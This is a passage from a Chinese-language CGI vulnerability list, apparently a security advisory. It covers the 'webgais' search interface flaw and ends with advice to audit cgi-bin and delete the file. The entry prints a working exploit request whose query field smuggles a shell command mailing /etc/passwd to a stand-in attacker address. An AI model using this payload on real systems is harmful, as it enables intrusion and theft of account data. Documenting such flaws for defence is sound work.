HTTP/1.0

●      建议： 建议审核cgi-bin目录，避免有不必要的程序存在。

●      解决方法： 删除handler文件。

14. webgais

●      类型： 攻击型

●      风险等级： 高

●      描述： /cgi-bin，目录下的webgais是GAIS搜索工具的一个接口，它有一个漏洞使入侵者可以绕过程序的安全机制，执行系统命令：

POST /cgi-bin/webgais HTTP/1.0

Content-length: 85 (replace this with the actual length of the "exploit" line)

telnet target.machine.com 80

query="mail+you\@your.host</etc/passwd;echo"&output=subject&domain=paragraph

●      建议： 建议审核cgi-bin目录，避免有不必要的程序存在。

●      解决方法： 删除webgais文件。